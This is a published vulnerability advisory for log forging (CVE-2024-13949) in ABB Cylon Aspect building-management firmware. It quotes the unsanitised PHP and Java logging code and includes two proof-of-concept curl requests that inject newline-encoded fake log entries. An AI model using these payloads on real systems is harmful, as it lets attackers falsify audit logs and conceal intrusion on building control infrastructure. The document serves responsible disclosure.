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๐Ÿ“„ ABB Cylon Aspect 3.08.03 Java/PHP Log Forging

๐Ÿ—“๏ธย 23 May 2025ย 00:00:00Reported byย LiquidWormTypeย 
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Log forging due to unsanitized user input in server side components, allowing forged log entries.

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ABB Cylon Aspect 3.08.03 (Java/PHP) Log Forging
    
    
    Vendor: ABB Ltd.
    Product web page: https://www.global.abb
    Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                      Firmware: <=3.08.03
    
    Summary: ASPECT is an award-winning scalable building energy management
    and control solution designed to allow users seamless access to their
    building data through standard building protocols including smart devices.
    
    Desc: Multiple PHP and Java components across the system fail to properly
    sanitize user-supplied input before including it in application logs. In
    PHP, files like supervisorProxy.php directly embed values such as $_SERVER['REQUEST_URI']
    and raw POST bodies into log messages without filtering, enabling attackers
    to inject arbitrary log entries using encoded newline characters. Similarly,
    Java classes using LoggerUtil.logger.* methods concatenate user-controlled
    strings like usernames and cookie keys into logs without validation. This
    systemic flaw allows for log forging, manipulating log content to obfuscate
    activity, insert misleading entries, or facilitate follow-up attacks.
    
    Tested on: GNU/Linux 3.15.10 (armv7l)
               GNU/Linux 3.10.0 (x86_64)
               GNU/Linux 2.6.32 (x86_64)
               Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
               Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
               PHP/7.3.11
               PHP/5.6.30
               PHP/5.4.16
               PHP/4.4.8
               PHP/5.3.3
               AspectFT Automation Application Server
               lighttpd/1.4.32
               lighttpd/1.4.18
               Apache/2.2.15 (CentOS)
               OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
               OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
               ErgoTech MIX Deployment Server 2.0.0
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5950
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5950.php
    
    CVE ID: CVE-2024-13949
    CVE URL: https://www.cve.org/CVERecord/SearchResults?query=CVE-2024-13949
    
    
    21.04.2024
    
    --
    
    
    $ cat project
    
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    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘                                                            
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–’โ–“โ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘                                               
                                                                                                                   
    
    $ cat supervisorProxy.php
    ...
    ...
    15: $vars = file_get_contents('php://input');
    16:
    17: $logTitle = "Proxy Supervisor ".$_SERVER['REQUEST_URI']." ";
    18: LoggerUtils::logWarning($logTitle." START", "POST: ".print_r($vars, true));
    19:
    20: $appId = 'supervisor1';
    ...
    ...
    
    $ curl "http://192.168.73.31/supervisorProxy.php/%0AWe Are Watching You!%0A"
    
    $ cat CookieDb.java
    ...
    ...
    import com.aamatrixc.util.LoggerUtil;
    ..
    ..
    LoggerUtil.logger.error or LoggerUtil.logger.debug or LoggerUtil.logger.info
    LoggerUtil.logger.error(getClass().getName() + "setUserCookie() failed validation for user/key: " + cookieInfo.getUser() + "/" + cookieInfo.getKey() + ((resultCheck == null) ? "... resultCheck is null!" : ""));
    ...
    ...
    
    $ curl http://192.168.73.31:7226/servlets/CookieDb?user=thricer%0A[INFO]%20System%20rebooted%20by%20amuser&key=yolo'

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23 May 2025 00:00Current
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